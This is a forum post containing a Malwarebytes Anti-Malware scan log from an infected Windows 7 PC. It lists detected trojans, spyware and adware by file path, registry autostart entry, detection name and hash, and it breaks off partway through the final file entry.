----------



## timmy12342 (Mar 7, 2015)

<?xml version="1.0" encoding="UTF-16" ?> 
- <mbam-log>
- 
<date>2015/03/08 20:59:35 -0400</date>

<logfile>mbam-log-2015-03-08 (20-51-33).xml</logfile>

<isadmin>yes</isadmin>

- <engine>
<version>2.00.4.1028</version>

<malware-database>v2015.03.08.06</malware-database>

<rootkit-database>v2015.02.25.01</rootkit-database>

<license>trial</license>

<file-protection>enabled</file-protection>

<web-protection>enabled</web-protection>

<self-protection>disabled</self-protection>

</engine>

- <system>
<osversion>Windows 7</osversion>

<arch>x86</arch>

<username>Tim</username>

<filesys>NTFS</filesys>

</system>

- 
<type>threat</type>

<result>completed</result>

<objects>367990</objects>

309

<processes>4</processes>

<modules>1</modules>

<keys>3</keys>

<values>8</values>

<datas>0</datas>

<folders>0</folders>

<files>127</files>

<sectors>0</sectors>

- <options>
<memory>enabled</memory>

<startup>enabled</startup>

<filesystem>enabled</filesystem>

<archives>enabled</archives>

<rootkits>disabled</rootkits>

<deeprootkit>disabled</deeprootkit>

<heuristics>enabled</heuristics>

<pup>enabled</pup>

<pum>enabled</pum>

</options>

- <items>
- <process>
<path>C:\ProgramData\d.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>delete-on-reboot</action>

<pid>2124</pid>

<hash>43d3d66dd5b53204b72e0fa518ed0000</hash>

</process>

- <process>
<path>C:\Users\Tim\AppData\Local\svcxdcl32.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>delete-on-reboot</action>

<pid>2388</pid>

<hash>1df9fa496c1ef93d937c38e614ee966a</hash>

</process>

- <process>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>delete-on-reboot</action>

<pid>2604</pid>

<hash>60b6b78c4446082ecc19cde7f114ce32</hash>

</process>

- <process>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>delete-on-reboot</action>

<pid>1200</pid>

<hash>5eb8af946f1bc373f76eb5163bc605fb</hash>

</process>

- <module>
<path>C:\Users\Tim\AppData\Local\zmgbvaw.dll</path>

<vendor>Trojan.Crypt</vendor>

<action>delete-on-reboot</action>

<hash>0d0998ab187292a4c39b3a99689d47b9</hash>

</module>

- <key>
<path>HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\NOTIFY\zmgbvaw</path>

<vendor>Trojan.Crypt</vendor>

<action>success</action>

<hash>0d0998ab187292a4c39b3a99689d47b9</hash>

</key>

- <key>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\SETTINGS\{1EC8187A-6435-44E3-BBE4-6CE6D3C69254}</path>

<vendor>PUP.Optional.DealKeeper.A</vendor>

<action>success</action>

<hash>888e9ea56c1e3501ace58f8b1fe43fc1</hash>

</key>

- <key>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\STATS\{1EC8187A-6435-44E3-BBE4-6CE6D3C69254}</path>

<vendor>PUP.Optional.DealKeeper.A</vendor>

<action>success</action>

<hash>888e9ea56c1e3501ace58f8b1fe43fc1</hash>

</key>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>ShellMS</valuename>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<valuedata>"C:\ProgramData\d.exe"</valuedata>

<hash>43d3d66dd5b53204b72e0fa518ed0000</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>zmgbvaw</valuename>

<vendor>Trojan.Crypt</vendor>

<action>success</action>

<valuedata>rundll32 "C:\Users\Tim\AppData\Local\zmgbvaw.dll",zmgbvaw</valuedata>

<hash>0d0998ab187292a4c39b3a99689d47b9</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>Svc2dll</valuename>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<valuedata>C:\Users\Tim\AppData\Local\svcxdcl32.exe</valuedata>

<hash>1df9fa496c1ef93d937c38e614ee966a</hash>

</value>

- <value>
<path>HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN</path>

<valuename>1181454672</valuename>

<vendor>Trojan.Agent</vendor>

<action>success</action>

<valuedata>C:\PROGRA~2\msgtbkcza.exe</valuedata>

<hash>c452ff44cac02b0b2844f9288c763bc5</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER\RUN</path>

<valuename>1181454672</valuename>

<vendor>Trojan.Agent</vendor>

<action>success</action>

<valuedata>C:\PROGRA~2\msgtbkcza.exe</valuedata>

<hash>c452ff44cac02b0b2844f9288c763bc5</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>EbvuDogn</valuename>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<valuedata>regsvr32.exe "C:\ProgramData\EbvuDogn\EbvuDogn.dat"</valuedata>

<hash>f5219fa4c6c40d290524b018748dad53</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>AswoDnix</valuename>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<valuedata>regsvr32.exe "C:\ProgramData\AswoDnix\AswoDnix.dat"</valuedata>

<hash>5bbbb78c4b3f2a0c3c5ab417bb46d22e</hash>

</value>

- <value>
<path>HKU\S-1-5-21-1360264287-3610818973-3505073857-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN</path>

<valuename>IsruYacr</valuename>

<vendor>Trojan.FakeMS.SVSGen</vendor>

<action>success</action>

<valuedata>regsvr32.exe "C:\ProgramData\IsruYacr\IsruYacr.dat"</valuedata>

<hash>6caa7bc80684a19559d72a6b8d74966a</hash>

</value>

- <file>
<path>C:\ProgramData\d.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>delete-on-reboot</action>

<hash>43d3d66dd5b53204b72e0fa518ed0000</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\zmgbvaw.dll</path>

<vendor>Trojan.Crypt</vendor>

<action>delete-on-reboot</action>

<hash>0d0998ab187292a4c39b3a99689d47b9</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\svcxdcl32.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>delete-on-reboot</action>

<hash>1df9fa496c1ef93d937c38e614ee966a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>delete-on-reboot</action>

<hash>60b6b78c4446082ecc19cde7f114ce32</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>delete-on-reboot</action>

<hash>5eb8af946f1bc373f76eb5163bc605fb</hash>

</file>

- <file>
<path>C:\ProgramData\msgtbkcza.exe</path>

<vendor>Trojan.Agent</vendor>

<action>success</action>

<hash>c452ff44cac02b0b2844f9288c763bc5</hash>

</file>

- <file>
<path>C:\ProgramData\EbvuDogn\EbvuDogn.dat</path>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<hash>f5219fa4c6c40d290524b018748dad53</hash>

</file>

- <file>
<path>C:\ProgramData\AswoDnix\AswoDnix.dat</path>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<hash>5bbbb78c4b3f2a0c3c5ab417bb46d22e</hash>

</file>

- <file>
<path>C:\ProgramData\IsruYacr\IsruYacr.dat</path>

<vendor>Trojan.FakeMS.SVSGen</vendor>

<action>success</action>

<hash>6caa7bc80684a19559d72a6b8d74966a</hash>

</file>

- <file>
<path>C:\ProgramData\IpsuVpak\IpsuVpak.dat</path>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<hash>e53195aedfab6dc9fbb4c706e021ac54</hash>

</file>

- <file>
<path>C:\ProgramData\OrbiBesd\OrbiBesd.dat</path>

<vendor>Trojan.FakeMS</vendor>

<action>success</action>

<hash>69ad1231305a3df9e2cd3c917b86a25e</hash>

</file>

- <file>
<path>C:\ProgramData\Windows Genuine Advantage\{33DAF164-D316-4FD6-9666-B0B7635ADA7C}\msiexec.exe</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>e3335fe4c5c5d165816e004f46ba20e0</hash>

</file>

- <file>
<path>C:\ProgramData\Windows Genuine Advantage\{41F47606-92BE-4DB7-B4FB-637D395F2DA6}\msiexec.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>dc3ab39096f40f27ad6711a4d53041bf</hash>

</file>

- <file>
<path>C:\ProgramData\Windows Genuine Advantage\{44278F53-21B4-43A3-AB3E-D557AE8B93C0}\msiexec.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>3bdb5ce7b5d591a5b3446462f809827e</hash>

</file>

- <file>
<path>C:\ProgramData\Windows Genuine Advantage\{A83F54AF-0111-408C-886B-639E3E9244E1}\msiexec.exe</path>

<vendor>Trojan.Zbot.CXgen</vendor>

<action>success</action>

<hash>a37382c1d3b71d1955f8c66f61a00ff1</hash>

</file>

- <file>
<path>C:\ProgramData\InstallMate\{3327EC37-0D11-4E4D-ACA6-4533E8C4CEC1}\Custom.dll</path>

<vendor>PUP.Optional.InstalleRex.A</vendor>

<action>success</action>

<hash>5bbb093a33571026f42a0045aa56b24e</hash>

</file>

- <file>
<path>C:\ProgramData\InstallMate\{3D7D2236-3425-4039-A2D2-7C07E69E00C0}\Custom.dll</path>

<vendor>PUP.Optional.InstalleRex.A</vendor>

<action>success</action>

<hash>1ef8261d5238bf7755c967de7d83c040</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\msgtbkcza.exe</path>

<vendor>Trojan.Agent</vendor>

<action>success</action>

<hash>a373182b7e0cfa3cc9a3b56c22e02bd5</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\Adobe-Reader.exe</path>

<vendor>PUP.Optional.Outbrowse</vendor>

<action>success</action>

<hash>e63055ee6921f93dc0aa1a28ca3bf907</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\Internet.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>20f6ef54addd3df92d5d258d18e9ed13</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\764D.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>f620192a9cee66d0090f7f2ded144ab6</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\~sp1488.tmp</path>

<vendor>PUP.Optional.Spigot</vendor>

<action>success</action>

<hash>f81e7ec5c7c3e84e0fedf8cd18e958a8</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\Sys_Drive.exe</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>f71fee55b5d5f4426c3484c30af6936d</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\SearchProtectINT.exe</path>

<vendor>PUP.Optional.Conduit.A</vendor>

<action>success</action>

<hash>21f5c87bf89278be93d3f750857cd729</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\Svchost.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>47cfef545634ba7cf97ba01f6d947c84</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\nstB45.exe</path>

<vendor>PUP.Optional.SearchProtect.A</vendor>

<action>success</action>

<hash>779f4300cebc082e94a221339a67b64a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\nstF6D9.exe</path>

<vendor>PUP.Optional.SearchProtect.A</vendor>

<action>success</action>

<hash>869097acbcced3631224d084e41d2fd1</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\Ntfs_Clean.exe</path>

<vendor>Trojan.Yakes</vendor>

<action>success</action>

<hash>4dc998abeb9f5fd7cecee3dd57aa857b</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\e.dll</path>

<vendor>Trojan.Dropper.ED</vendor>

<action>success</action>

<hash>66b0d66d5d2da4921045e7e6728f7f81</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\HomePageDLL.dll.156526145</path>

<vendor>PUP.Optional.Installcore</vendor>

<action>success</action>

<hash>4dc9ad965d2df2442dcb216e3fc636ca</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\d.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>8f8763e02d5d6acc5c89862e71945fa1</hash>

</file>

- <file>
 <path>C:\Users\Tim\AppData\Local\Temp\qnasc.dll</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>57bfae9592f89e98bd3a3591d9283ec2</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\rad60033.tmp.exe</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>d73f2d16f09ae155d1c30fe6a45d57a9</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\radEE81F.tmp.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>6aac182bf694d75f242dd65ae220619f</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\KB05377791.exe</path>

<vendor>Trojan.Ransom.ED</vendor>

<action>success</action>

<hash>26f098ab0c7eec4a9aec6b85cf32be42</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\UpdateFlashPlayer_8cf56647.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>f22455ee4b3fca6cf8ff992df30e26da</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\UpdateFlashPlayer_c536bed5.exe</path>

<vendor>Trojan.Zbot.gen</vendor>

<action>success</action>

<hash>22f464df2169013532722e8e01008779</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\wcrash.exe</path>

<vendor>Trojan.Agent.BTR</vendor>

<action>success</action>

<hash>58be59ea73171c1abb70854b46bb26da</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\ICReinstall_CandyInstaller.exe</path>

<vendor>PUP.Optional.WorldSetup</vendor>

<action>success</action>

<hash>15014003820875c143c4d9b745c0c33d</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\25D8.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>b36388bbfe8c1b1b5e36a55050b1eb15</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\4470.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>e531dd66ee9c88ae939f9a0a649de21e</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\DF04.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>d34380c3d1b93afc9ef636bff809cc34</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\DM1394660237.exe</path>

<vendor>PUP.Optional.OutBrowse</vendor>

<action>success</action>

<hash>0313192abfcb79bd4c337f12996ca759</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\C2A6.tmp</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>1006c57eaedc9e98f916a87627db2bd5</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\C346.tmp</path>

<vendor>Trojan.FakeMS.ED</vendor>

<action>success</action>

<hash>9a7c2b184149ed4935c6ca634cb6d22e</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\1263.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>51c5311294f6e155bc8d15906c958a76</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\6F49.tmp</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>f224360de3a796a026db21fdac56a957</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\6DE3.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>1bfb9aa93e4cc86eec5dc1e4b9489967</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\DA7A.tmp</path>

<vendor>Backdoor.Androm</vendor>

<action>success</action>

<hash>ab6ba3a0e5a5cb6b3681d05d05fd669a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\A811.tmp</path>

<vendor>Trojan.Agent.EDBM</vendor>

<action>success</action>

<hash>93831e253f4bb77f4823a62de421c63a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\F55C.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>73a3c47fa9e10f27355ffef73dc456aa</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\F860.tmp</path>

<vendor>Backdoor.Androm</vendor>

<action>success</action>

<hash>2fe71f243c4e87af942364c9eb17f40c</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\FA17.tmp</path>

<vendor>Trojan.FakeMS.ED</vendor>

<action>success</action>

<hash>fc1a78cb96f443f392c355db16ecd12f</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\1CD8.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>2fe7a99a02884aec2e0af6aea9588e72</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\1B1B.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>ec2a8eb5bdcdeb4b8fbab3f240c18d73</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\EED5.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>7d99eb58d8b2b680db57792b14edc63a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\ejc.dll</path>

<vendor>Trojan.Ransom.ED</vendor>

<action>success</action>

<hash>4accfc473753a0967d0dbbf014ed8977</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\2A97.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>73a36ad97c0ebc7af549e9bbb8499769</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\3E85.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

 <hash>0214271cf2980b2bbb77acf86d94669a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\3C79.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>d3430c37c1c940f653df6b39b24fc838</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\45C.tmp</path>

<vendor>Trojan.Ransom.ED</vendor>

<action>success</action>

<hash>56c088bb404a46f0b0ec95b1f808e917</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\wvawa.dll</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>d24410333555b482b50a527116eb57a9</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\BC85.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>27ef8bb82169e1551084f6ff03fe42be</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\6AE6.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>a96d64dff595c0761237307530d10df3</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\42AD.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>849264df107a3501355f61948b76d32d</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\5428.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>987eaf942e5cb284880ceb0a7091c040</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\645E.tmp</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>c84e5ce73357999d03059c826c968a76</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\7206.tmp</path>

<vendor>Trojan.FakeMS.ED</vendor>

<action>success</action>

<hash>76a0370ca4e68ea8ee7476ba13eff50b</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\DE87.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>cd49004321690a2cb9db668f9e63cf31</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\eoegl.dll</path>

<vendor>Trojan.Zbot.CXgen</vendor>

<action>success</action>

<hash>30e6cc77a5e5231395b8ed4822dfe818</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\farert.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>2ee8b2919eec76c01e47e7e4b44dc838</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\6DA9.tmp</path>

<vendor>Trojan.LVBP.ED</vendor>

<action>success</action>

<hash>55c1f44f94f6ac8a4cea51bfc73b9b65</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\7CB5.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>3ed8f3503a5045f1c0d46a8bef12e31d</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\FBFE.tmp</path>

<vendor>Trojan.Agent.FSAVXGen</vendor>

<action>success</action>

<hash>a472a79c5f2b38febf732e76e9186e92</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\8AC2.tmp</path>

<vendor>Backdoor.Androm</vendor>

<action>success</action>

<hash>67afee556525241296215fcebf43956b</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\5D6B.tmp</path>

<vendor>Trojan.Ransom.ED</vendor>

<action>success</action>

<hash>d64076cd642679bd4ab58016b150cd33</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\nslAF59.exe</path>

<vendor>PUP.Optional.SearchProtect.A</vendor>

<action>success</action>

<hash>f81efb48098122143ff7d38121e04ab6</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\26B0.tmp</path>

<vendor>Trojan.FakeMS.ED</vendor>

<action>success</action>

<hash>809640038208191d95f76744e0215ca4</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\cimma.dll</path>

<vendor>Trojan.Zbot.CXgen</vendor>

<action>success</action>

<hash>df3776cd1c6e8da96ce157de15ec619f</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\Command.exe</path>

<vendor>Trojan.Inject</vendor>

<action>success</action>

<hash>f5211b285d2df541faf4eabf709512ee</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\A06C.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>e43274cf5c2e88ae702475809869a55b</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\CB41.tmp</path>

<vendor>Trojan.LVBP.ED</vendor>

<action>success</action>

<hash>59bd1f247a1066d0f34343cdd0324eb2</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\E1E5.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>1ff7ca79deac82b45440a94c1fe211ef</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\E419.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>aa6cd86b5d2de452b8dc4ca9768ba35d</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\9F4C.tmp</path>

<vendor>Backdoor.Androm</vendor>

<action>success</action>

<hash>dd3962e1ef9b53e3585f6ac34ab8c739</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\is156496536\mysearchdial.dll</path>

<vendor>PUP.Optional.MySearchDial.A</vendor>

<action>success</action>

<hash>32e455ee7d0ddf575b5af984a958649c</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\is180482813\mysearchdial.dll</path>

<vendor>PUP.Optional.MySearchDial.A</vendor>

<action>success</action>

<hash>0a0c46fdcdbd2c0aeec7a7d6d42d44bc</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\is90864669\mysearchdial.dll</path>

<vendor>PUP.Optional.MySearchDial.A</vendor>

<action>success</action>

<hash>3fd73112e1a9db5bc3f2a1dc54ad768a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\nsyE155\SpSetup.exe</path>

<vendor>PUP.Optional.Conduit.A</vendor>

<action>success</action>

<hash>898d95ae553586b0cc5e75d447ba0ef2</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\Temp\210c\AppData\Local\xemxkie.dll</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>4acc53f094f69e98f77c2b40d828a65a</hash>

</file>

- <file>
<path>C:\Windows\Temp\D25E.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>34e249fa3a503cfa48080cbae41de61a</hash>

</file>

- <file>
<path>C:\Windows\Temp\E53A.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>b165e06324669e9806fe87437d844bb5</hash>

</file>

- <file>
<path>C:\Windows\Temp\E641.tmp</path>

<vendor>Spyware.Password</vendor>

<action>success</action>

<hash>47cfc57ea6e4270f472ad6f309f8f30d</hash>

</file>

- <file>
<path>C:\Windows\Temp\E8C8.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>c0563112b7d3bb7b8a1dfdcda25f619f</hash>

</file>

- <file>
<path>C:\Windows\Temp\EBE5.tmp</path>

<vendor>Trojan.Agent.VXGen</vendor>

<action>success</action>

<hash>6aac073ca8e2f04670cfeede8b76b54b</hash>

</file>

- <file>
<path>C:\Windows\Temp\FA5C.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>e333b3900b7fd3633bc9b416ad543dc3</hash>

</file>

- <file>
<path>C:\Windows\Temp\1EA7.tmp</path>

<vendor>Trojan.Agent.VXGen</vendor>

<action>success</action>

<hash>bf5744ffe3a7a492053a05c718e92bd5</hash>

</file>

- <file>
<path>C:\Windows\Temp\3803.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>0b0b4300abdf47efdccb3e8c43bedc24</hash>

</file>

- <file>
<path>C:\Windows\Temp\510B.tmp</path>

<vendor>Trojan.Agent.DED</vendor>

<action>success</action>

<hash>ac6a0142c5c5d2649ff5bf361de41de3</hash>

</file>

- <file>
<path>C:\Windows\Temp\53C6.tmp</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>a76fc182d4b6ff37729b5cc2857d29d7</hash>

</file>

- <file>
<path>C:\Windows\Temp\5716.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>f6201330ec9ee35326812aa049b8ab55</hash>

</file>

- <file>
<path>C:\Windows\Temp\7CB4.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>e2344df6acde67cf9c53202fd12fb848</hash>

</file>

- <file>
<path>C:\Windows\Temp\7EC7.tmp</path>

<vendor>Trojan.Agent.EDK</vendor>

<action>success</action>

<hash>84928fb4e3a769cd58e7b317a45db44c</hash>

</file>

- <file>
<path>C:\Windows\Temp\8E2F.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>7c9a9ea5f6943bfbada39e2813ee11ef</hash>

</file>

- <file>
<path>C:\Windows\Temp\ADA5.tmp</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>b2649aa91c6e4ee83cb34609ac54ea16</hash>

</file>

- <file>
<path>C:\Windows\Temp\1C08.tmp</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>b16570d3eb9f171f782f13b722df4bb5</hash>

</file>

- <file>
<path>C:\Windows\Temp\UpdateFlashPlayer_7dded734.exe</path>

